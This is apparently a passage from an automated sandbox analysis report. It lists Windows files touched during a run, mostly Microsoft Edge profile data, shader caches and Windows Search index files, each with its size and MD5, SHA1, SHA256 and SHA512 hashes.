                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                8a6e57bb944779e53ac6f7c9f6a4201c84433ded

                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                6d404126f076be1001a58922599a05a16c4d2db393fd2a0c44c70631730bc335

                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                f7516d38234597f71183e5f48edb77da993ffba968d7c6846e1bd053803023b7978b8d20cb05e1581dd574beb0a6a54340f765623c0fb80e022dde3ad380d754

                                                                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log
                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                187B

                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                e936f0ee56fb650651707cd33f7b2073

                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                d5f8d8da60238b40e4fc61b5d7fb09253f32a002

                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                729fbc23d69f283ab970e78ceb86b3a92c7eb5709feb29d2ba17dc3f71a64e72

                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                0453b0aaec97a2349c536794f3ca73301dd4d7c18df888140dc283352319d6d092354e528f2c80ffbfa7c3fef38fe64ac42e94451992f1ebba2514688a41b753

                                                                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG
                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                319B

                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                bb5c59c6b385cb8c7e49a51a6cf6c76d

                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                11135c88d5737a8e52ea8380f627e6bbdc082663

                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                fcd1d11628146bca91babdb9d33dab86b54df0fefe624b29cc159e999380ff0a

                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                9c8cfe1393bf64b47325cbe2922d98041e0f0fbc49e1379b8c69c70319bce4edd834ba429949e7cc353faae9f928ae9ffa892816c7c8aa3f36fc9cea17b91fd0

                                                                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log
                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                565B

                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                ab7f2f8f728ab1a519ff95e6af07c963

                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                e6ce97351653d327edb286b552c5faa7b4fb20c6

                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                76cabb1fcdece95812f950a8cba9ab09cc451bf29bbecbc6c5a343835f0a5b8d

                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                cd032fd11a60b888baad339e5a25acc5a010db76c3c87ea99102e1be37d2f621f1cd95a3efc05b1e60f5c7573115c08d63b00aa389f3cdde944c2f379188b61d

                                                                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG
                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                337B

                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                b8e520d75b2d05a329a67000dee3f9b8

                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                dcd3cec41ef0b5012aff3d3445ce81e6a50cf770

                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                0ea306a00ce43fdd8f353314e2f6bb82820389074a663eba71d88aae78d442e6

                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                a648f99edfc59512bc8fbfe03c5fb642aea35a1fed1166985542bc1290cef419858876b765c0ac9ed90160c3eeb4d9b510e570fd40ed97ccb6d81434c010ee6f

                                                                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\GPUCache\data_0
                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                44KB

                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                14ade83bff09236dcbcf0ddbb18efd34

                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                eb121c9d0999fe67fe2eebbabcdd6ef93b5505e9

                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                b898467f6980dc0106d28b04a205b03801b0cf86f02e6dc240703d5362cc81ba

                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                15bd00f9cde53265f4cb9a50d2b20ec5acf948e77736868eaea589abe017240bdab9a31fc9c80fe47ff3db35ddd850f3b64f4b079aa3dd9825a0c10fa8a9ee7b

                                                                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\GPUCache\data_1
                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                264KB

                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                621d6dff6cc74f7b688dbbfb932a91b3

                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                b34d38d9881e6ddaedf3b96c8d68af79bb1d6afc

                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                540d4cd3b971a5125f497233a66693343e39882afa6070443bbbe80eea645e59

                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                a16adeed9b50edb278a23038833d18bdfc07e3064c495b9743665c69d76e49ee19bb57cec6226d1575f5adc512774241fe1345574bb1107396052625eee214b4

                                                                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\GPUCache\data_3
                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                4.0MB

                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                2a744f6e8f43aaece617b39c4a48a106

                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                516ec5fe1b14f3b92447cd64c1470efc5fb60130

                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                a10e582de37936f7fdbac8cf470a340bd8416b6f33411c7fad0c81d357e3dc6e

                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                b5f5364f3dd7bcf0c1e47344c3d10d3968e29e0bdc18c113d194237b4cf4806c11f9e037de540b63e765647c62c441c7159ac06940fd4ebe42ee6f972230ab7c

                                                                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Last Browser
                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                120B

                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                a397e5983d4a1619e36143b4d804b870

                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                aa135a8cc2469cfd1ef2d7955f027d95be5dfbd4

                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                9c70f766d3b84fc2bb298efa37cc9191f28bec336329cc11468cfadbc3b137f4

                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                4159ea654152d2810c95648694dd71957c84ea825fcca87b36f7e3282a72b30ef741805c610c5fa847ca186e34bde9c289aaa7b6931c5b257f1d11255cd2a816

                                                                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Last Version
                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                11B

                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                838a7b32aefb618130392bc7d006aa2e

                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                5159e0f18c9e68f0e75e2239875aa994847b8290

                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                ac3dd2221d90b09b795f1f72e72e4860342a4508fe336c4b822476eb25a55eaa

                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                9e350f0565cc726f66146838f9cebaaa38dd01892ffab9a45fe4f72e5be5459c0442e99107293a7c6f2412c71f668242c5e5a502124bc57cbf3b6ad8940cb3e9

                                                                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                11KB

                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                cde66f4d50e582c069e7fe1e1ef51bd1

                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                6755b94bbe0c2d36b71dcf1856584110b86d0e85

                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                310afb4b3bf95c043bcb9ee60f57573dbb6884683e6000b8511836620a5e00b1

                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                6118e9e848f644e14950f7d54b52f66b71ade6912e2fdcbb1de6718114e8055e29417c58827038b6030c1044dc68a7dc503c69439904971462d805e902a8377a

                                                                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                10KB

                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                0615915d86eb9504e728b62824e722df

                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                6c929fdf6bd6c31d9835aa3e6602201d1d2d170b

                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                5b02b986183dfbbff28d8308cea6f2f350d2c513f405896ae108da75bed26717

                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                6f88f9d0ce871d8c8ac2cf257b968ac7c3736bb93494025457f8b1214753f4775e8daf9677500ab22204a534f9ca8db662cdfeb134e57e6245865a4ed4ed4b92

                                                                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                11KB

                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                ca2cc00341603f16b8ef7c8b1d9d19d5

                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                4b2794336b39b42a2fe0a24336b89ec49a23c792

                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                69cfcd1df37395d07385a2f384332b0a83068926c23e00da5bb97d51401acb87

                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                9b76b51a01a71aa375c67ea4be760601f22122149dbfee0ae6b8fb0edf3d47714fcaec43f750d15a88c5daf5e084a54333307a35ac2a9f316d6f8c1947dca898

                                                                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                10KB

                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                b2e09be395011c674eb924e90bdd4b20

                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                4a3c9d5a7b4ed9ffbeb97cb99511908158d53bab

                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                83c525b8b7585dc1c048d87d2515a09e1d7bc088624adb3dcbdccc2e91f063af

                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                e9b5a167618e558ab4e8c4629c9187178894e3fc8cf10df4c75b05c7298adf751fc4d995cbbfaecedc269102672bfd01d4c87e6e3e8c2a67027e5cef2e844ecd

                                                                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                10KB

                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                48e42bc2660c1a783eb8e29552fb8b7a

                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                ec2a9696f3163111c57f0be514af226c1d8fc97b

                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                3e1e650fed3414ce3872de84fef7c1d357bad663d8f2aaf2b8af24bb6fb8e525

                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                13c1fe60962dde840d24b7d343ff3d611b62bcc237267d34fabada6b24cdcf7906d184673809b6a028c0007981df2760e059a0e0e695fb129cd27cc4fbec64d0

                                                                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                12KB

                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                7ce7c2ab11a2b9b4e20a40d6e469f2f8

                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                e8bd42f61b512b4da3468ebcc944bf4625c3274e

                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                57ec1f23e6484b8323ef374908037061ac9ec6bd13cd73ad56871ee3d19aad1a

                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                4b6e6ca1e340c3dad8c8e11452ea9148962b3c91a46882569c4db160deac71c7f930058f92ee743301e5a2361c5ab942c2a82909e1cb8c966ea6a8766f1cae16

                                                                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                12KB

                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                66848e36c98a937df5223bdb5d950da0

                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                40a3375a0caecdff4f088658d57bedf9c5af1f1c

                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                74b53343c15be8c4460735e9e50194cc23b7c36b14e7d84659ad7c16bf8c9b19

                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                c55a1ae2c57535395c3859a8dcafa26675e70abd21d6f325f83ad7c900e79808cbb1d913123d3ce6e61e2c16ec4f3d2318b2b52685f4a5aac8f117022eba8481

                                                                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\ShaderCache\GPUCache\data_1
                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                264KB

                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                dbc81cc8a928c4b6eca83abe3c3dc2d3

                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                dd6f9d26483c21971f6658e7dafb3281da061eb4

                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                19c97f3b4813a7b90e63e0affcf57322fa906332b7953a75fc2c13a69428d4af

                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                a74280f84a24cb55de5ba1f9527e3fc14d5ca717b8c3ec9b0e7a1e0a87dfe01b1eee3cb67d91ac433ddd44ac4d078885bb4f27d18a34ce43f0fe236ed56eecdb

                                                                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\edge_shutdown_ms.txt
                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                4B

                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                a8ae844c613f5ffaeb3fd452b056f49b

                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                9bad0bda780d33c831cf83dbd13718399bb68594

                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                f0163b047375b6860e493ed088bf70c586acd18b79a9a4539194c9c8f3ffd6e2

                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                d985b6acfaa3a4208d4751d9eca0c1552517b3e15f756af8203d79040c98f58b3fad7bb2edce27c0715eee847e267b530810b5425150e290ec4d0b00e3de9bcb

                                                                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\9cd93bc6dcf544bae69531052e64647ec02f2bb4.tbres
                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                c3291ad687249bbc3f6641059db02bd5

                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                6cde3b1a3ad6502d003972c5773c7d90744046c1

                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                edafe3303922f0c5e2ea26682772305a0aef431abecc4d0f53178135d83f3434

                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                d231734c1327a9da5b2e01b191de21edf29326854d7372fabb38d21eac6cef0936f2731ae19ed3903d6b8d5bb4a92f734eff588f01100078a1b3c02c21121882

                                                                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\Microsoft\Internet Explorer\DOMStore\Q763VJGY\microsoft.windows[1].xml
                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                97B

                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                be04cd30bf69755705909c47c76f047c

                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                68433a1fdc2869e91ef21b0808173f132363ccef

                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                719dd625996524f6297d2cfa17795df62d66c4fe1b2ed29816a193bbbae36207

                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                7b44c1de6d8e17418707b13665201e836dd0b3de38a94c1affa259de51e5181d9b68ffdd3736c94edfcdc1878f44f6441e292625cdcbf3d503a8c0a91605e592

                                                                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\Microsoft\Internet Explorer\DOMStore\RGVNXRI7\microsoft.windows[1].xml
                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                97B

                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                5a6219b5ffb9a28d65e95c002fea1077

                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                514e40c1e61dcae4f0383a018781d0b1f2ab376d

                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                6d3b17eae88d75fc1699a23b15b32ba9ad6d3cc073b62597401ec8c9eaa0ca18

                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                d181d3904dcc6626dc25b635386e8182495fb3d878543e030b8bff00ec477f36495c26ec0ab630454473740cccb46fef883f46ab2a97886cbe9eb6f8a5a77a8f

                                                                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\AppIconCache\150\{1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}_SnippingTool_exe
                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                36KB

                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                bad093419be1135cfe9694ea77088c78

                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                76204c7ca72cf666add9c9931389d635c82e8af0

                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                136808af50ee73df9befd76f7aca21765782565b0095227c5a287f3be0b5ef3c

                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                3b5cb7f80d7cbc557b5a32a995cd607257ac8e56af935ce6f64c54ba1f311a65ef00c69c69047b6eb7bb678c2b1bc0a3c37548aef417ea49e414e1a34bcf651d

                                                                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{63e1738e-a487-4fba-aa6b-42e1b07db47c}\0.0.filtertrie.intermediate.txt
                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                28KB

                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                ab6db363a3fc9e4af2864079fd88032d

                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                aa52099313fd6290cd6e57d37551d63cd96dbe45

                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                373bb433c2908af2e3de58ede2087642814564560d007e61748cdb48d4e9da3f

                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                d3d13d17df96705d0de119ad0f8380bfe6b7bc44c618e2fcd0233061a0ab15beae44d38c48a880121b35f90f56c1529e5f4cf1a19acb9e2cbba5d1c402c749c0

                                                                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{63e1738e-a487-4fba-aa6b-42e1b07db47c}\0.1.filtertrie.intermediate.txt
                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                5B

                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                34bd1dfb9f72cf4f86e6df6da0a9e49a

                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                5f96d66f33c81c0b10df2128d3860e3cb7e89563

                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                8e1e6a3d56796a245d0c7b0849548932fee803bbdb03f6e289495830e017f14c

                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                e3787de7c4bc70ca62234d9a4cdc6bd665bffa66debe3851ee3e8e49e7498b9f1cbc01294bf5e9f75de13fb78d05879e82fa4b89ee45623fe5bf7ac7e48eda96

                                                                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{63e1738e-a487-4fba-aa6b-42e1b07db47c}\0.2.filtertrie.intermediate.txt
                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                5B

                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                c204e9faaf8565ad333828beff2d786e

                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                7d23864f5e2a12c1a5f93b555d2d3e7c8f78eec1

                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                d65b6a3bf11a27a1ced1f7e98082246e40cf01289fd47fe4a5ed46c221f2f73f

                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                e72f4f79a4ae2e5e40a41b322bc0408a6dec282f90e01e0a8aaedf9fb9d6f04a60f45a844595727539c1643328e9c1b989b90785271cc30a6550bbda6b1909f8

                                                                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{63e1738e-a487-4fba-aa6b-42e1b07db47c}\Apps.ft
                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                38KB

                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                84ac0c242b77b8fc326db0a5926b089e

                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                cc6b367ae8eb38561de01813b7d542067fb2318f

                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                b1557167a6df424f8b28aabd31d1b7e8a469dd50d2ae4cbbd43afd8f9c62cf92

                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                8f63084bd5a270b7b05e80454d26127b69bcb98ec93d9fad58d77203934f46b677a3aaf20f29e73dcd7035deb61f4c0aa3b10acbc4c0fc210632c1d74f705d2f

                                                                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{63e1738e-a487-4fba-aa6b-42e1b07db47c}\Apps.index
                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                1.0MB

                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                f4514c93191e0efc0f61036e4ebb341a

                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                c80478e9a734790c18584f67a43518aa4a7dcf58

                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                43da4fa5f62affe399ceaac2d489b7cde610963a48e72d445bebe6f2c63a3600

                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                8aecb3491767e040a52f351908004db2c8f2f083397744585c2832212ec8aa288d3492be941a48b04774e16b43672ab167209776cbdef6692fef684fc54666a6

                                                                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{2c636a06-ecdf-440d-86de-0bd9d2a4eb9f}\apps.csg
                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                444B

                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                5475132f1c603298967f332dc9ffb864

                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                4749174f29f34c7d75979c25f31d79774a49ea46

                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                0b0af873ef116a51fc2a2329dc9102817ce923f32a989c7a6846b4329abd62cd

                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                54433a284a6b7185c5f2131928b636d6850babebc09acc5ee6a747832f9e37945a60a7192f857a2f6b4dd20433ca38f24b8e438ba1424cc5c73f0aa2d8c946ff

                                                                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{2c636a06-ecdf-440d-86de-0bd9d2a4eb9f}\apps.schema
                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                150B

                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                1659677c45c49a78f33551da43494005

                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                ae588ef3c9ea7839be032ab4323e04bc260d9387

                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                5af0fc2a0b5ccecdc04e54b3c60f28e3ff5c7d4e1809c6d7c8469f0567c090bb

                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                740a1b6fd80508f29f0f080a8daddec802aabed467d8c5394468b0cf79d7628c1cb5b93cf69ed785999e8d4e2b0f86776b428d4fa0d1afcdf3cbf305615e5030

                                                                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{2c636a06-ecdf-440d-86de-0bd9d2a4eb9f}\appsconversions.txt
                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                1.4MB

                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                2bef0e21ceb249ffb5f123c1e5bd0292

                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                86877a464a0739114e45242b9d427e368ebcc02c

                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                8b9fae5ea9dd21c2313022e151788b276d995c8b9115ee46832b804a914e6307

                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                f5b49f08b44a23f81198b6716195b868e76b2a23a388449356b73f8261107733f05baa027f8cdb8e469086a9869f4a64983c76da0dc978beb4ec1cb257532c6b

                                                                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{2c636a06-ecdf-440d-86de-0bd9d2a4eb9f}\appsglobals.txt
                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                343KB

                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                931b27b3ec2c5e9f29439fba87ec0dc9

                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                dd5e78f004c55bbebcd1d66786efc5ca4575c9b4

                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                541dfa71a3728424420f082023346365cca013af03629fd243b11d8762e3403e

                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                4ba517f09d9ad15efd3db5a79747e42db53885d3af7ccc425d52c711a72e15d24648f8a38bc7e001b3b4cc2180996c6cac3949771aa1c278ca3eb7542eae23fd

                                                                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{2c636a06-ecdf-440d-86de-0bd9d2a4eb9f}\appssynonyms.txt
                                                                                                                                                                                                                                                                Filesize

